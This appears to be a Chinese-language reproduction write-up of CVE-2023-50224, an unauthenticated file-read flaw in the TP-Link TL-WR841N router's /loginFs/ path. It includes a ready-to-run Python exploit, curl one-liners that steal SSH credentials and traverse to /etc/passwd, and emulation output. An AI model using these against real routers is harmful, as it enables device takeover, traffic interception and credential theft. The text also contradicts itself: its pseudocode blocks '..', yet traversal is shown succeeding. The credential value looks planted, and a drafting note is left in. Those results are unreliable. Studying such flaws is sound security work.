1. 漏洞基本信息
漏洞编号: CVE-2023-50224
漏洞类型: 身份验证绕过 (CWE-288) / 敏感信息泄露 (CWE-200) / 路径遍历 (CWE-22)
受影响设备: TP-Link TL-WR841N V12(https://www.tp-link.com/sg/support/download/tl-wr841n/v12/#Firmware)
固件版本: 3.16.9 Build 160624 (EU)
核心组件:
httpd受影响路径:
/loginFs/*风险等级: 高危 (Critical) —— 攻击者无需任何凭据即可通过网络获取路由器的 SSH 登录明文账号密码及其他系统敏感文件。
利用前提: 攻击者需能够访问设备的 Web 服务端口(通常为局域网内,若开启远程 Web 管理则公网可利用)。
2. 漏洞成因深度分析
2.1 路由配置缺陷(身份验证绕过)
通过对 httpd 二进制文件(MIPS 架构,Big Endian)的逆向分析(地址参考:0x444d00),发现系统在初始化 Web 路由映射时,对 /loginFs/ 路径的访问控制配置存在严重疏漏。
伪代码逻辑:
// 1. 将 /login/* 别名映射到内部的 /loginFs/login/*
httpAliasConfAdd("/login/*", "/loginFs/login/*");
// 2. 关键缺陷:将 /loginFs/* 的访问控制权限设置为 "*", "*"
// 这在 TP-Link 的 httpd 框架中代表该路径完全无需 Session 认证即可访问
httpCtrlConfAdd("/loginFs/*", "*", "*");
// 3. 将 /loginFs/ 路径绑定到 httpRpmFs 处理器进行文件分发
httpRpmConfAdd(2, "/loginFs/", httpRpmFs);2.2 处理器逻辑缺陷(路径拼接泄露)
当请求命中 /loginFs/ 路径时,系统会调用 httpRpmFs 函数(地址参考:0x509ad8)。其核心处理逻辑缺陷在于直接拼接外部可控输入而未做充分的目录限制:
// httpRpmFs 核心易受攻击代码片段
strcpy(_tmp, "/tmp/"); // [!] 1. 将基础路径硬编码初始化为 /tmp/
v3 = httpRpmDataGet(a1); // [!] 2. 获取用户请求的 URL 后缀 (例如: dropbear/dropbearpwd 或 ../../etc/passwd)
strcat(_tmp, v3); // [!] 3. 危险的直接拼接,导致路径可控
v4 = strstr(_tmp, "..") != 0; // [!] 4. 弱校验:虽然代码中使用了 strstr 检查 "..",但未能彻底防御(存在被绕过或不影响更深层级目录读取的风险)。
result = -1;
if ( !v4 )
{
v6 = open(_tmp, 0); // [!] 5. 未做进一步白名单限制,直接打开并读取目标文件
// ... 读取并返回文件内容
}上述逻辑意味着,只要请求绕过了过滤限制,攻击者即可读取 /tmp/ 目录及其所有子目录下的任意文件,甚至读取系统的关键配置文件。
3. 复现证据链与环境调试
3.1 固件准备与初步提取
首先获取固件二进制文件并提取其文件系统。
执行指令:
# 自动提取固件中的文件系统 (-e 代表 extract)
k@ubuntu:~$ binwalk -e wr841nv12_wr841ndv12_eu_3_16_9_up_boot(160624).bin
# 进入提取出的 squashfs 根目录
k@ubuntu:~$ cd _wr841nv12_wr841ndv12_eu_3_16_9_up_boot(160624).bin.extracted/squashfs-root/3.2 静态取证:二进制特征与敏感信息定位
通过扫描 httpd 核心二进制,确认了漏洞路径的存在。并在文件系统中找到了预置的敏感数据。
终端验证输出:
# 确认路由表存在
k@ubuntu:~$ strings usr/bin/httpd | grep "/loginFs/"
/loginFs/login/*
/loginFs/*
/loginFs/
# 定位敏感的临时凭据
k@ubuntu:~$ find . -name "dropbearpwd"
./tmp/dropbear/dropbearpwd
k@ubuntu:~$ cat ./tmp/dropbear/dropbearpwd
username:admin_test password:CVE-2023-50224_SUCCESS3.3 拦截策略:解决硬件仿真崩溃 (Hooking)
在使用 FirmAE 等仿真框架启动固件时,httpd 调用 ioctl 访问硬件寄存器(如 WiFi 状态灯或以太网中断),由于缺乏对应的仿真驱动,会导致内核崩溃 (Kernel Panic)。为了在纯软件模拟环境中复现漏洞,需要劫持系统调用进行修补。
1. 编写 hook.c:
#include <stdio.h>
#include <stdarg.h>
/* 拦截 ioctl 系统调用,防止因访问物理硬件驱动导致的内核 Panic */
int ioctl(int fd, unsigned long request, ...) {
return 0; // 始终返回成功
}2. 交叉编译与注入:
# 编译生成 MIPS (Big Endian) 动态库
k@ubuntu:~$ mips-linux-gnu-gcc -fPIC -shared -o hook.so hook.c
# 部署并设置预加载
k@ubuntu:~$ sudo cp hook.so fw_reproduce/squashfs-root/lib/hook.so
k@ubuntu:~$ sudo sed -i 's/\/usr\/bin\/httpd/LD_PRELOAD=\/lib\/hook.so \/usr\/bin\/httpd/g' fw_reproduce/squashfs-root/etc/rc.d/rcS补充说明:在真实的物理设备上,由于硬件环境完整,不需要 Hook 操作,HTTP 请求能够正常执行。
4. 真实环境下的利用脚本 (EXP)
在真实物理设备或完成 Hook 修复的完美仿真环境中,攻击者可以利用此漏洞通过 Python 脚本实现自动化凭据窃取与越权读取。
4.1 自动化 Exploit 脚本 (exp.py)
该脚本不仅支持读取默认的 SSH 凭据,同时展示了利用路径穿越尝试读取系统 /etc/passwd 的可能性。
import requests
import sys
import re
def exploit(target_ip):
# 目标 1: 读取 SSH 临时凭据
# 逻辑: /loginFs/ + dropbear/dropbearpwd => /tmp/dropbear/dropbearpwd
url_ssh = f"http://{target_ip}/loginFs/dropbear/dropbearpwd"
# 目标 2: 路径穿越读取系统账号文件
# 逻辑: /loginFs/ + ../../etc/passwd => /tmp/../../etc/passwd => /etc/passwd
url_passwd = f"http://{target_ip}/loginFs/../../etc/passwd"
print(f"[*] 正在尝试攻击目标: {target_ip}")
try:
# 尝试窃取 SSH 密码
res = requests.get(url_ssh, timeout=5)
if res.status_code == 200 and "password" in res.text:
print("[+] 成功获取 SSH 凭据:")
print(f" {res.text.strip()}")
# 自动提取并打印
creds = re.findall(r'username:(.*) password:(.*)', res.text)
if creds:
u, p = creds[0]
print(f"[*] 建议指令: ssh {u}@{target_ip} (密码: {p})")
# 尝试读取系统 passwd
res_p = requests.get(url_passwd, timeout=5)
if res_p.status_code == 200:
print("[+] 成功读取 /etc/passwd 内容 (前 3 行):")
print("\n".join(res_p.text.splitlines()[:3]))
except Exception as e:
print(f"[-] 利用失败: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("用法: python3 exp.py <Target_IP>")
else:
exploit(sys.argv[1])4.2 命令行一键利用 (CURL)
读取 SSH 密码:
curl http://192.168.0.1/loginFs/dropbear/dropbearpwd读取系统账号文件:
# 利用路径穿越突破 /tmp/ 目录限制
curl http://192.168.0.1/loginFs/../../etc/passwd提示:建议在 2.2 处理器逻辑缺陷 节中插入 IDA 截图(如反编译后的
httpRpmFs函数第 26 至 33 行伪代码逻辑),以直观展示代码中的strcpy和strcat拼接过程。格式参考:
5. 动态复现验证 (仿真环境)
使用上述的 Hook 策略修复后,通过仿真环境进行最终验证。
5.1 启动模拟
指令:
k@ubuntu:~/FirmAE$ sudo ./run.sh -r tplink ../fw_reproduce/wr841nv12_wr841ndv12_eu_3_16_9_up_boot(160624).bin5.2 验证结果
当模拟器就绪后执行 exp.py:
k@ubuntu:~$ python3 exp.py 192.168.0.1
[*] 正在尝试攻击目标: 192.168.0.1
[+] 成功获取 SSH 凭据:
username:admin_test password:CVE-2023-50224_SUCCESS
[*] 建议指令: ssh admin_test@192.168.0.1 (密码: CVE-2023-50224_SUCCESS)
[+] 成功读取 /etc/passwd 内容 (前 3 行):
root:x:0:0:root:/root:/bin/sh6. 结论与影响评估
6.1 危害评估
完全接管设备:攻击者获取 SSH 凭据后,可以以
root权限完全控制路由器。结合/etc/passwd的越权读取能力,进一步证实了直接获取系统的直接控制风险。流量监听:攻击者可在路由器上安装抓包工具(如 tcpdump),截获局域网内所有用户的敏感上网数据。
内网跳板:以此路由器为跳板,攻击者可进一步渗透局域网内的个人电脑、NAS 或摄像头等设备。